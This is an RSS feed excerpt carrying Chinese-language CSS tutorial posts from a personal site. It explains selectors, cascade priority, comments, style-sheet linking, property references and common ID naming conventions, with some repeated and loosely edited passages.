p { color: #FF0000!important } 
.blue { color: #0000FF} 
#id1 { color: #FFFF00} 

我们同时对页面中的一个段落加上这三种样式，它最后会依照被!important申明的HTML标记选择符样式为红色文字。如果去掉!important，则依照优先权最高的ID选择符为黄色文字。 

7. 注释 

你可以在CSS中插入注释来说明你代码的意思，注释有利于你或别人以后编辑和更改代码时理解代码的含义。在浏览器中，注释是不显示的。CSS注释以&quot;/*&quot; 开头，以&quot;*/&quot; 结尾，如下： 




/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 


/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 

样式表文件可以用任何文本编辑器（例如：记事本）打开并编辑，一般样式表文件扩展名为.css。内容是定义的样式表，不包含HTML标记，mystyle.css这个文件的内容如下： 

hr {color: sienna} 
p {margin-left: 20px} 
body {background-image: url(&quot;images/back40.gif&quot;)} 
/*定义水平线的颜色为土黄；段落左边的空白边距为20象素；页面的背景图片为images目录下的back40.gif文件*/ 


/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 


&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt;













头：header 
　　内容：content/containe 
　　尾：footer 
　　导航：nav 
　　侧栏：sidebar 
　　栏目：column 
　　页面外围控制整体布局宽度：wrapper 
　　左右中：left right center 
　　登录条：loginbar 
　　标志：logo 
　　广告：banner 
　　页面主体：main 
　　热点：hot 
　　新闻：news 
　　下载：download 
　　子导航：subnav 
　　菜单：menu 
　　子菜单：submenu 
　　搜索：search 
　　友情链接：friendlink 
　　页脚：footer 
　　版权：copyright 
　　滚动：scroll 
　　内容：content 
　　标签页：tab 
　　文章列表：list 
　　提示信息：msg 
　　小技巧：tips 
　　栏目标题：title 
　　加入：joinus 
　　指南：guild 
　　服务：service 
　　注册：regsiter 
　　状态：status 
　　投票：vote 
　　合作伙伴：partner 


XHTML文件中id的命名 
(1)页面结构 
　　容器: container 
　　页头：header 
　　内容：content/container 
　　页面主体：main 
　　页尾：footer 
　　导航：nav 
　　侧栏：sidebar 
　　栏目：column 
　　页面外围控制整体布局宽度：wrapper 
　　左右中：left right center 
(2)导航 
　　导航：nav 
　　主导航：mainbav 
　　子导航：subnav 
　　顶导航：topnav 
　　边导航：sidebar 
　　左导航：leftsidebar 
　　右导航：rightsidebar 
　　菜单：menu 
　　子菜单：submenu 
　　标题: title 
　　摘要: summary 
(3)功能 
　　标志：logo 
　　广告：banner 
　　登陆：login 
　　登录条：loginbar 
　　注册：regsiter 
　　搜索：search 
　　功能区：shop 
　　标题：title 
　　加入：joinus 
　　状态：status 
　　按钮：btn 
　　滚动：scroll 
　　标签页：tab 
　　文章列表：list 
　　提示信息：msg 
　　当前的: current 
　　小技巧：tips 
　　图标: icon 
　　注释：note 
　　指南：guild 
　　服务：service 
　　热点：hot 
　　新闻：news 
　　下载：download 
　　投票：vote 
　　合作伙伴：partner 
　　友情链接：link 
　　版权：copyright 
--------------------------------------------------------------------------------------------------------------- 
1.CSS ID 的命名 
外　套：　　wrap 
主导航：　　mainnav 
子导航：　　subnav 
页　脚：　　footet 
整个页面：　content 
页　眉：　　header 
页　脚：　　footer 
商　标：　　label 
标　题：　　title 
主导航：　　nav（mainnav/globalnav） 
顶导航：　　topnav 
边导航：　　sidebar 
左导航：　　leftsidebar 
右导航：　　rightsidebar 
当前位置：　loc 
旗　志：　　logo 
标　语：　　banner 
菜单内容1： menu1 content 
菜单容量：　menu container 
子菜单：　　submenu 
边导航图标：sidebarIcon 
注释：　　　note 
面包屑：　　breadcrumb(即页面所处位置导航提示） 
容器：　　　container 
内容：　　　content 
搜索：　　　search 
登陆：　　　Login 
功能区：　　shop(如购物车，收银台) 
当前的　　　current 
网站公用相关 
Container div #container 容器 
Header or banner div #header 页头部分 

Main or global navigation div #main-nav 主导航 
Menu #menu 菜单 
Sub Menu #submenu 子菜单 
Left or right side columns #sidebar-a, #sidebar-b 左边栏或右边栏 
Main div #main 页面主体 
Content div #content 内容部分 
The main content area #content-main 主要内容区域 
Footer div #footer 页脚部分 
Tag #tag 标签 
Message #msg #message 提示信息 
Tips #tips 小技巧 
Vote #vote 投票 
Friend Link #friendlink 友情连接 
Title #title 标题 
Summary #summary 摘要 
Sub-navigation list #sub-nav 二级导航 
Search input #search-input 搜索输入框 
Search output #search-output 搜索输出和搜索结果相似 
Search #search 搜索 
Search results #search-results 搜索结果 
Copyright information #copyright 版权信息 
brand #branding 商标 
branding-logo #branding-logo LOGO 
Site information #siteinfo 网站信息 
Copyright information etc. #siteinfo-legal 法律声明 
Designer or other credits #siteinfo-credits 信誉 
Join us #joinus 加入我们 
Partnership opportunities #partner 合作伙伴 
Services #service 服务 
Regsiter #regsiter 注册 
Status #status 状态 
电子贸易相关 
Products .products 产品 
Products prices .products-prices 产品价格 
Products description .products-description 产品描述 
Products review .products-review 产品评论 
Editor‘s review .editor-review 编辑评论 
New release .news-release 最新产品 
Publisher .publisher 生产商 
Screen shot .screenshot 缩略图 
FAQ .faqs 常见问题 
Keyword .keyword 关键词 
Blog .blog 博客 
Forum .forum 论坛 
2.另外在编辑样式表时可用的注释可这样写： 
&lt;-- Footer --&gt; 
内容区 
&lt;-- End Footer --&gt; 
3.样式文件命名 
主要的 *.css 
布局，版面 layout.css 
专栏 columns.css 
文字 font.css 
打印样式 print.css 
主题 themes.css

.[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】css制作【中】邪影]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373445]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:00:10 +0800]]></pubDate>
        <description><![CDATA[[Title]css制作教程(中)[EndTitle]
[Content]


[区块]属性共有六项： 

「单词间距」（word-spacing），主要用于控制文字间相隔的距离。有正常（normal）和值（自定义间隔值）两种选择方式。当选择值时，可用的单位有英吋（in）、厘米（cm）、毫米（mm）、点数(pt）、12pt字(pc）、字体高（em）、字体x有高（ex）像素（px）。 
「字母间距」（letter-spacing），其作用与字符间距类似，也有正常（normal）和值（自定义间隔值）两种选择方式。 
「垂直对齐」（vertical-align），控制文字或图像相对于其母体元素的垂直位置。如将一个2×3像素的GIF图像同其母体元素文字的顶部垂直对齐，则该GIF图像将在该行文字的顶部显示。共有基线（baseline，将元素的基准线同母体元素的基准线对齐）、下标（sub，将元素以下标的形式显示）,上标（super，将元素以上标的形式显示）、顶部（top ，将元素顶部同最高的母体元素对齐）、文本顶对齐（text-top，将元素的顶部同母体元素文字的顶部对齐）、中线对齐（middle，将元素的中点同母体元素的中点对齐）、底部（bottom，将元素的底部同最低的母体元素对齐）及值（自定义）等9种选择。 
「文本对齐」（text-align），设置块的水平对齐方式。共有左对齐（left）、右对齐（right）、居中（center）和均分（justify）等4种选择。 
「文字缩进」（text-indent），控制块的缩进程度。 
「空白间距」（white-space），在HTML中，空格是被省略的；在CSS中则使用属性（white-space）控制空格的输入。共有正常（normal）、保留（pre）和不换行（nowrap）等3种选择。 



[边框]的属性有3项： 

「宽」（border-width），控制边框的宽度，其中分为4个属性：border-top-width顶边框的宽度、border-right-width右边框的宽度、border-bottom-width底边框的宽度、border-left-width左边框的宽度。 
「颜色」（border-color），设置各边框的颜色。若要使边框的四边显示不同的颜色，可在设置中分别列出。如， 
p{: #ff0000 #009900 #0000ff #55cc00} 
浏览器将四种颜色依次理解为：上边框、右边框、底边框和左边框（自上开始顺时针）。 
「样式」（border-style），设定边框的样式，共有无（none）、虚线（dotted）、点划线线（dotted）、点划线（dashed）、实线（solid）、双线（double ）、槽状（grove）、脊状（ridge）、凹陷（inset）和凸起（outset）等9种。 



「盒子」属性共有6项： 

「宽」（width），确定盒子本身的宽度，可以使盒子的宽度不依靠它所包含的内容多少。 
「高」（height），确定盒子本身的高度。 
「浮动」（float），设置块元素的浮动效果。 
「清除」（clear），用于清除设置的浮动效果。 
「边距」（margin），控制围绕边框的边距大小。其中包含4个属性：margin-top控制上边距的宽度、margin-right控制右边距的宽度、margin-bottom控制下边距的宽度、margin-left控制左边距的宽度。 
「边界」（padding），确定围绕块元素的空格填充数量，其中包含4个属性「padding-top控制上留白的宽度、padding-right控制右留白的宽度、padding-bottom控制下留白宽度、padding-left控制左留白的宽度。 



[列表]属性共有3项： 

「类型」（list-style-type），确定列表每一项前使用的符号，共有圆点（disc）、圆圈（circle）、方形（square）、数字（decimal）、小写罗马数字（lower-roman ）、大写罗马数字（upper-roman）、小写字母（lower-alpha）和大写字母（upper－alpha）等8种。 
「项目图像」（list-style-image），其作用是将列表前面的符号换为图形。 
「位置」（list-style-position），用于描述列表位置，有内（outside）和外（inside）两种选择。 



[定位]属性共有6项： 

「类型」（position），用于确定定位的类型，共有绝对（absolute）、相对（relative）和静态（static）等3种选择。 
「Z轴」（z-index），用于控制网页中块元素的叠放顺序，可为元素设置重叠效果。该属性的参数值使用纯整数，值为0时，元素在最下层，适用于绝对定位或相对定位的元素。 
「显示」（visibility）使用该属性可将网页中的元素隐藏，共有继承（inherit，继承母体要素的可视性设置）、可见（visible）和隐藏（hidden）等3种选择。 
「溢出」（overflow），在确定了元素的高度和宽度后，如果元素的面积不能全部显示元素中的内容时，该属性做一日和尚撞一天钟起作用了。其中共有可见（visible，扩大面积以显示所有内容）、隐藏（hidden，隐藏超出范围的内容）、滚动（scroll，在元素的右边显示一个滚动条）和自动（auto，当内容超出元素面积时，显示滚动条）等4种选择。 
「定位」，当为元素确定了绝对定位类型后，该组属性决定元素在网页中的具体位置。该组属性包含4个子属性，分别是「左」（属性名为「left」，控制元素左边的起始位置）、「上」（属性名为「top」，控制元素上面的起始位置）、 「宽」或「高」（与「盒子」类属性面板中「宽」或「高」的属性作用相同）。 
「剪辑」（clip），当元素被指定为绝对定位类型后，该属性可以把元素区域切成各种形状，但目前提供的只有方形一种。属性值为rect(top right bottom left)，即： 
rect(top right bottom left)，属性值的单位为任何一种长度单位。 



[扩展]属性共有两部分： 

「分页」，其中两个属性的作用是为打印的页面设置分页符。 「之前」（page-break-before）；「之后」（page-break-after）。 
「视觉效果」，其中两个属性的作用是为网页中的元素施加特殊效果。 「光标」（cusor），可以指定在某个元素上要使用的光标形状，共有15种选择方式，分别代表鼠标在Windows操作系统中的各种形状。另外它还可以指定指针图标的URL地址；「滤镜」（fiter），可以为网页中元素施加各种奇妙的滤镜效果，共包含有16种滤镜 



. 基本语法 
CSS的定义是由三个部分构成：选择符（*or），属性（properties）和属性的取值（value）。 
基本格式如下： 

*or {property: value} 
（选择符 {属性：值}） 
选择符是可以是多种形式，一般是你要定义样式的HTML标记，例如BODY、P、TABLE……，你可以通过此方法定义它的属性和值，属性和值要用冒号隔开： 

body {color: black} 

选择符body是指页面主体部分，color是控制文字颜色的属性，black是颜色的值，此例的效果是使页面中的文字为黑色。 

如果属性的值是多个单词组成，必须在值上加引号，比如字体的名称经常是几个单词的组合： 

p {font-family: “sans serif“} 

（定义段落字体为sans serif） 


如果需要对一个选择符指定多个属性时，我们使用分号将所有的属性和值分开： 

p {text-align: center; color: red} 

（段落居中排列；并且段落中的文字为红色） 

为了使你定义的样式表方便阅读，你可以采用分行的书写格式： 

p 
{ 
text-align: center; 
color: black; 
font-family: arial 
} 

（段落排列居中，段落中文字为黑色，字体是arial） 

2. 选择符组 

你可以把相同属性和值的选择符组合起来书写，用逗号将选择符分开，这样可以减少样式重复定义： 

h1, h2, h3, h4, h5, h6 { color: green } 

（这个组里包括所有的标题元素，每个标题元素的文字都为绿色） 

p, table{ font-size: 9pt } 

（段落和表格里的文字尺寸为9号字） 

效果完全等效于： 

p { font-size: 9pt } 
table { font-size: 9pt } 


3. 类选择符 

用类选择符你能够把相同的元素分类定义不同的样式，定义类选择符时，在自定类的名称前面加一个点号。假如你想要两个不同的段落，一个段落向右对齐，一个段落居中，你可以先定义两个类： 

p.right {text-align: right} 
p.center {text-align: center} 

然后用不在不同的段落里，只要在HTML标记里加入你定义的class参数： 
&lt;p class=“right“&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=“center“&gt; 
这个段落是居中排列的 
&lt;/p&gt; 


&lt;p class=“right“&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=“center“&gt; 
这个段落是居中排列的 
&lt;/p&gt; 

注意：类的名称可以是任意英文单词或以英文开头与数字的组合，一般以其功能和效果简要命名。 

类选择符还有一种用法，在选择符中省略HTML标记名，这样可以把几个不同的元素定义成相同的样式： 

.center {text-align: center} 

（定义.center的类选择符为文字居中排列） 
这样的类可以被应用到任何元素上。下面我们使h1元素（标题1）和p元素（段落）都归为“center”类，这使两个元素的样式都跟随“.center”这个类选择符： 

&lt;h1 class=“center“&gt; 
这个标题是居中排列的 
&lt;/h1&gt; 
&lt;p class=“center“&gt; 
这个段落也是居中排列的 
&lt;/p&gt; 

注意：这种省略HTML标记的类选择符是我们经后最常用的CSS方法，使用这种方法，我们可以很方便的在任意元素上套用预先定义好的类样式。 

4. ID选择符 

在HTML页面中ID参数指定了某个单一元素，ID选择符是用来对这个单一元素定义单独的样式。 
ID选择符的应用和类选择符类似，只要把CLASS换成ID即可。将上例中类用ID替代： 

&lt;p id=“intro“&gt; 
这个段落向右对齐 
&lt;/p&gt; 

定义ID选择符要在ID名称前加上一个“#”号。和类选择符相同，定义ID选择符的属性也有两种方法。下面这个例子，ID属性将匹配所有id=“intro“的元素： 

#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

（字体尺寸为默认尺寸的110%；粗体；蓝色；背景颜色透明） 
下面这个例子，ID属性只匹配id=“intro“的段落元素： 

p#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

注意：ID选择符局限性很大，只能单独定义某个元素的样式，一般只在特殊情况下使用。 

5. 包含选择符 

可以单独对某种元素包含关系定义的样式表，元素1里包含元素2，这种方式只对在元素1里的元素2定义，对单独的元素1或元素2无定义，例如： 

table a 
{ 
font-size: 12px 
} 

在表格内的链接改变了样式，文字大小为12象素，而表格外的链接的文字仍为默认大小。 

6. 样式表的层叠性 

层叠性就是继承性，样式表的继承规则是外部的元素样式会保留下来继承给这个元素所包含的其他元素。事实上，所有在元素中嵌套的元素都会继承外层元素指定的属性值，有时会把很多层嵌套的样式叠加在一起，除非另外更改。例如在DIV标记中嵌套P标记： 
div { color: red; font-size:9pt} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为红色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

（P元素里的内容会继承DIV定义的属性） 
注意：有些情况下内部选择符不继承周围选择符的值，但理论上这些都是特殊的。例如，上边界属性值是不会继承的，直觉上，一个段落不会同文档BODY一样的上边界值。 

另外，当样式表继承遇到冲突时，总是以最后定义的样式为准。如果上例中定义了P的颜色： 

div { color: red; font-size:9pt} 
p {color: blue} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为蓝色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

我们可以看到段落里的文字大小为9号字是继承div属性的，而color属性则依照最后定义的。 

不同的选择符定义相同的元素时，要考虑到不同的选择符之间的优先级。ID选择符，类选择符和HTML标记选择符，因为ID选择符是最后加上元素上的，所以优先级最高，其次是类选择符。如果想超越这三者之间的关系，可以用!important提升样式表的优先权，例如： 

p { color: #FF0000!important } 
.blue { color: #0000FF} 
#id1 { color: #FFFF00} 

我们同时对页面中的一个段落加上这三种样式，它最后会依照被!important申明的HTML标记选择符样式为红色文字。如果去掉!important，则依照优先权最高的ID选择符为黄色文字。 

7. 注释 

你可以在CSS中插入注释来说明你代码的意思，注释有利于你或别人以后编辑和更改代码时理解代码的含义。在浏览器中，注释是不显示的。CSS注释以“/*“ 开头，以“*/“ 结尾，如下： 




/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 


/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 

前面我们了解了CSS的语法，但要想在浏览器中显示出效果，就要让浏览器识别并调用。当浏览器读取样式表时，要依照文本格式来读，这里介绍四种在页面中插入样式表的方法：链入外部样式表、内部样式表、导入外表样式表和内嵌样式。 

1. 链入外部样式表 

链入外部样式表是把样式表保存为一个样式表文件，然后在页面中用&lt;link&gt;标记链接到这个样式表文件，这个&lt;link&gt;标记必须放到页面的&lt;head&gt;区内，如下： 

&lt;head&gt; 
…… 
&lt;link href=“mystyle.css“ rel=“stylesheet“ type=“text/css“ media=“all“&gt; 
…… 
&lt;/head&gt; 

上面这个例子表示浏览器从mystyle.css文件中以文档格式读出定义的样式表。rel=”stylesheet”是指在页面中使用这个外部的样式表。type=”text/css”是指文件的类型是样式表文本。href=”mystyle.css”是文件所在的位置。media是选择媒体类型，这些媒体包括：屏幕，纸张，语音合成设备，盲文阅读设备等。 

一个外部样式表文件可以应用于多个页面。当你改变这个样式表文件时，所有页面的样式都随之而改变。在制作大量相同样式页面的网站时，非常有用，不仅减少了重复的工作量，而且有利于以后的修改、编辑，浏览时也减少了重复下载代码。 

样式表文件可以用任何文本编辑器（例如：记事本）打开并编辑，一般样式表文件扩展名为.css。内容是定义的样式表，不包含HTML标记，mystyle.css这个文件的内容如下： 

hr {color: sienna} 
p {margin-left: 20px} 
body {background-image: url(“images/back40.gif“)} 
/*定义水平线的颜色为土黄；段落左边的空白边距为20象素；页面的背景图片为images目录下的back40.gif文件*/ 

2. 内部样式表 

内部样式表是把样式表放到页面的&lt;head&gt;区里，这些定义的样式就应用到页面中了，样式表是用&lt;style&gt;标记插入的，从下例中可以看出&lt;style&gt;标记的用法： 

&lt;head&gt; 
…… 
&lt;style type=“text/css“&gt; 
hr {color: sienna} 
p {margin-left: 20px} 
body {background-image: url(“images/back40.gif“)} 
&lt;/style&gt; 
…… 
&lt;/head&gt; 

注意：有些低版本的浏览器不能识别style标记，这意味着低版本的浏览器会忽略style标记里的内容，并把style标记里的内容以文本直接显示到页面上。为了避免这样的情况发生，我们用加HTML注释的方式（&lt;!-- 注释 --&gt;）隐藏内容而不让它显示： 

&lt;head&gt; 
…… 
&lt;style type=“text/css“&gt; 
&lt;!-- 
hr {color: sienna} 
p {margin-left: 20px} 
body {background-image: url(“images/back40.gif“)} 
--&gt; 
&lt;/style&gt; 
…… 
&lt;/head&gt; 

接下一节

[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】网站css制作【上】邪影]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373443]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 07:58:26 +0800]]></pubDate>
        <description><![CDATA[[Title]css制作教程(上)[EndTitle]
[Content]
字体属性：(font)
大小 {font-size: x-large;}(特大) xx-small;(极小) 一般中文用不到，只要用数值就可以，单位：PX、PD
样式 {font-style: oblique;}(偏斜体) italic;(斜体) normal;(正常)
行高 {line-height: normal;}(正常) 单位：PX、PD、EM
粗细 {font-weight: bold;}(粗体) lighter;(细体) normal;(正常)
变体 {font-variant: small-caps;}(小型大写字母) normal;(正常)
大小写 {text-transform: capitalize;}(首字母大写) uppercase;(大写) lowercase;(小写) none;(无)
修饰 {text-decoration: underline;}(下划线) overline;(上划线) line-through;(删除线) blink;(闪烁)

常用字体： (font-family)
“Courier New“, Courier, monospace, “Times New Roman“, Times, serif, Arial, Helvetica, sans-serif, Verdana

背景属性： (background)
色彩 {background-color: #FFFFFF;}
图片 {background-image: url();}
重复 {background-repeat: no-repeat;}
滚动 {background-attachment: fixed;}(固定) scroll;(滚动)
位置 {background-position: left;}(水平) top(垂直);
简写方法 {background:#000 url(..) repeat fixed left top;} /*简写·这个在阅读代码中经常出现，要认真的研究*/

区块属性： (Block) /*这个属性第一次认识，要多多研究*/
字间距 {letter-spacing: normal;} 数值 /*这个属性似乎有用，多实践下*/
对齐 {text-align: justify;}(两端对齐) left;(左对齐) right;(右对齐) center;(居中)
缩进 {text-indent: 数值px;}
垂直对齐 {vertical-align: baseline;}(基线) sub;(下标) super;(下标) top; text-top; middle; bottom; text-bottom;
词间距word-spacing: normal; 数值
空格white-space: pre;(保留) nowrap;(不换行)

显示 {*:block;}(块) inline;(内嵌) list-item;(列表项) run-in;(追加部分) compact;(紧凑) marker;(标记) table; inline-table; table-raw-group; table-header-group; table-footer-group; table-raw; table-column-group; table-column; table-cell; table-caption;(表格标题) /** 属性的了解很模糊*/

方框属性： (Box)
width:; height:; float:; clear:both; margin:; padding:; 顺序：上右下左
边框属性： (Border)
border-style: dotted;(点线) dashed;(虚线) solid(实线); double;(双线) groove;(槽线) ridge;(脊状) inset;(凹陷) outset;
border-width:; 边框宽度
border-color:#;

简写方法border：width style color; /*简写*/

列表属性： (List-style)
类型list-style-type: disc;(圆点) circle;(圆圈) square;(方块) decimal;(数字) lower-roman;(小罗码数字) upper-roman; lower-alpha; upper-alpha;
位置list-style-position: outside;(外) inside;
图像list-style-image: url(..);
定位属性： (Position)
Position: absolute; relative; static;
visibility: inherit; visible; hidden;
overflow: visible; hidden; scroll; auto;
clip: rect(12px,auto,12px,auto) (裁切)

css属性代码大全
一 CSS文字属性：
color : #999999; /*文字颜色*/
font-family : 宋体,sans-serif; /*文字字体*/ 
font-size : 9pt; /*文字大小*/ 
font-style:itelic; /*文字斜体*/ 
font-variant:small-caps; /*小字体*/ 
letter-spacing : 1pt; /*字间距离*/ 
line-height : 200%; /*设置行高*/ 
font-weight:bold; /*文字粗体*/ 
vertical-align:sub; /*下标字*/ 
vertical-align:super; /*上标字*/ 
text-decoration:line-through; /*加删除线*/ 
text-decoration: overline; /*加顶线*/ 
text-decoration:underline; /*加下划线*/ 
text-decoration:none; /*删除链接下划线*/ 
text-transform : capitalize; /*首字大写*/ 
text-transform : uppercase; /*英文大写*/ 
text-transform : lowercase; /*英文小写*/ 
text-align:right; /*文字右对齐*/ 
text-align:left; /*文字左对齐*/ 
text-align:center; /*文字居中对齐*/ 
text-align:justify; /*文字分散对齐*/ 
vertical-align属性
vertical-align:top; /*垂直向上对齐*/ 
vertical-align:bottom; /*垂直向下对齐*/ 
vertical-align:middle; /*垂直居中对齐*/ 
vertical-align:text-top; /*文字垂直向上对齐*/ 
vertical-align:text-bottom; /*文字垂直向下对齐*/ 
二、CSS边框空白
padding-top:10px; /*上边框留空白*/ 
padding-right:10px; /*右边框留空白*/ 
padding-bottom:10px; /*下边框留空白*/ 
padding-left:10px; /*左边框留空白
三、CSS符号属性：
list-style-type:none; /*不编号*/ 
list-style-type:decimal; /*阿拉伯数字*/ 
list-style-type:lower-roman; /*小写罗马数字*/ 
list-style-type:upper-roman; /*大写罗马数字*/ 
list-style-type:lower-alpha; /*小写英文字母*/ 
list-style-type:upper-alpha; /*大写英文字母*/ 
list-style-type:disc; /*实心圆形符号*/ 
list-style-type:circle; /*空心圆形符号*/ 
list-style-type:square; /*实心方形符号*/ 
list-style-image:url(/dot.gif); /*图片式符号*/ 
list-style-position: outside; /*凸排*/ 
list-style-position:inside; /*缩进*/ 
四、CSS背景样式：
background-color:#F5E2EC; /*背景颜色*/ 
background:transparent; /*透视背景*/ 
background-image : url(/image/bg.gif); /*背景图片*/ 
background-attachment : fixed; /*浮水印固定背景*/ 
background-repeat : repeat; /*重复排列-网页默认*/ 
background-repeat : no-repeat; /*不重复排列*/ 
background-repeat : repeat-x; /*在x轴重复排列*/ 
background-repeat : repeat-y; /*在y轴重复排列*/ 
指定背景位置
background-position : 90% 90%; /*背景图片x与y轴的位置*/ 
background-position : top; /*向上对齐*/ 
background-position : buttom; /*向下对齐*/ 
background-position : left; /*向左对齐*/ 
background-position : right; /*向右对齐*/ 
background-position : center; /*居中对齐*/ 
五、CSS连接属性：
a /*所有超链接*/ 
a:link /*超链接文字格式*/ 
a:visited /*浏览过的链接文字格式*/ 
a:active /*按下链接的格式*/ 
a:hover /*鼠标转到链接*/ 
鼠标光标样式：
链接手指 CURSOR: hand 
十字体 cursor:crosshair 
箭头朝下 cursor:s-resize 
十字箭头 cursor:move 
箭头朝右 cursor:move 
加一问号 cursor:help 
箭头朝左 cursor:w-resize 
箭头朝上 cursor:n-resize 
箭头朝右上 cursor:ne-resize 
箭头朝左上 cursor:nw-resize 
文字I型 cursor:text 
箭头斜右下 cursor:se-resize 
箭头斜左下 cursor:sw-resize 
漏斗 cursor:wait 
光标图案(IE6) p {cursor:url(“光标文件名.cur“),text;} 
六、CSS框线一览表：
border-top : 1px solid #6699cc; /*上框线*/ 
border-bottom : 1px solid #6699cc; /*下框线*/ 
border-left : 1px solid #6699cc; /*左框线*/ 
border-right : 1px solid #6699cc; /*右框线*/ 
以上是建议书写方式,但也可以使用常规的方式 如下:
border-top-color : #369 /*设置上框线top颜色*/ 
border-top-width :1px /*设置上框线top宽度*/ 
border-top-style : solid/*设置上框线top样式*/ 
其他框线样式
solid /*实线框*/ 
dotted /*虚线框*/ 
double /*双线框*/ 
groove /*立体内凸框*/ 
ridge /*立体浮雕框*/ 
inset /*凹框*/ 
outset /*凸框*/ 
七、CSS表单运用：
文字方块 
按钮 
复选框 
选择钮 
多行文字方块 
下拉式菜单 选项1选项2 
八、CSS边界样式：
margin-top:10px; /*上边界*/ 
margin-right:10px; /*右边界值*/ 
margin-bottom:10px; /*下边界值*/ 
margin-left:10px; /*左边界值*/ 

CSS 属性： 字体样式(Font Style) 
序号 中文说明 标记语法 
1 字体样式 {font:font-style font-variant font-weight font-size font-family} 
2 字体类型 {font-family:“字体1“,“字体2“,“字体3“,...} 
3 字体大小 {font-size:数值|inherit| medium| large| larger| x-large| xx-large| small| smaller| x-small| xx-small} 
4 字体风格 {font-style:inherit|italic|normal|oblique} 
5 字体粗细 {font-weight:100-900|bold（粗体）|bolder（特粗）|lighter（细体）|normal（正常）;} 
6 字体颜色 {color:数值;} 
7 阴影颜色 {text-shadow:16位色值} 
8 字体行高 {line-height:数值|inherit|normal;} 
9 字 间 距 {letter-spacing:数值|inherit|normal} 
10 单词间距 {word-spacing:数值|inherit|normal} 
11 字体变形 {font-variant:inherit|normal|small-cps } 
12 英文转换 {text-transform:inherit|none|capitalize|uppercase|lowercase} 
13 字体变形 {font-size-adjust:inherit|none} 
14 字体 {font-stretch:condensed|expanded|extra-condensed|extra-expanded|inherit|narrower|normal| semi-condensed|semi-expanded|ultra-condensed|ultra-expanded|wider} 
文本样式(Text Style) 
序号 中文说明 标记语法 
1 行 间 距 {line-height:数值|inherit|normal;} 
2 文本修饰 {text-decoration:inherit|none|underline|overline|line-through|blink} 
3 段首空格 {text-indent:数值|inherit} 
4 水平对齐 {text-align:left|right|center|justify} 
5 垂直对齐 {vertical-align:inherit|top|bottom|text-top|text-bottom|baseline|middle|sub|super} 
6 书写方式 {writing-mode:lr-tb|tb-rl} 
背景样式 
序号 中文说明 标记语法 
1 背景颜色 {background-color:数值} 
2 背景图片 {background-image: url(URL)|none} 
3 背景重复 {background-repeat:inherit|no-repeat|repeat|repeat-x|repeat-y} 
4 背景固定 {background-attachment:fixed|scroll} 
5 背景定位 {background-position:数值|top|bottom|left|right|center} 
6 背影样式 {background:背景颜色|背景图象|背景重复|背景附件|背景位置} 
框架样式(Box Style) 
序号 中文说明 标记语法 
1 边界留白 {margin:margin-top margin-right margin-bottom margin-left} 
2 补　　白 {padding:padding-top padding-right padding-bottom padding-left} 
3 边框宽度 {border-width:border-top-width border-right-width border-bottom-width border-left-width}　　
宽度值： thin|medium|thick|数值 
4 边框颜色 {border-color:数值 数值 数值 数值}　　数值：分别代表top、right、bottom、left颜色值 
5 边框风格 {border-style:none|hidden|inherit|dashed|solid|double|inset|outset|ridge|groove} 
6 边　　框 {border:border-width border-style color} 
上 边 框 {border-top:border-top-width border-style color} 
右 边 框 {border-right:border-right-width border-style color} 
下 边 框 {border-bottom:border-bottom-width border-style color} 
左 边 框 {border-left:border-left-width border-style color} 
7 宽　　度 {width:长度|百分比| auto} 
8 高　　度 {height:数值|auto} 
9 漂　　浮 {float:left|right|none} 
10 清　　除 {clear:none|left|right|both} 
分类列表 
序号 中文说明 标记语法 
1 控制显示 {*:none|block|inline|list-item} 
2 控制空白 {white-space:normal|pre|nowarp} 
3 符号列表 {list-style-type:disc|circle|square|decimal|lower-roman|upper-roman|lower-alpha|upper-alpha|none} 
4 图形列表 {list-style-image:URL} 
5 位置列表 {list-style-position:inside|outside} 
6 目录列表 {list-style:目录样式类型|目录样式位置|url} 
7 鼠标形状 {cursor:hand|crosshair|text|wait|move|help|e-resize|nw-resize|w-resize|s-resize|se-resize|sw-resize}





CSS属性大全 

[背景]属性共有六项： 

「背景颜色」（background-color），设置背景颜色。 
「背景图像」（background-image），设置网页背景图像。 
「重复」（background-repeat），控制背景图像的平铺方式，有不重复（no-repeat）、重复（repeat，沿水平、垂直方向平铺）、横向重复（repeat-X，图像沿水平方向平铺）和纵向重复（repeat-Y，沿图像垂直方向平铺）等4种选择。 
「附加」（background-attachment），用于控制背景图像是否会随页面的滚动而一起滚动。有固定（fixd，文字滚动时，背景图像保质固定）和滚动（scroll，背景图像随文字内容一起滚动）两种选择。 
「水平位置」/「垂直位置」（background-position），确定背景图像的水平、垂直位置 
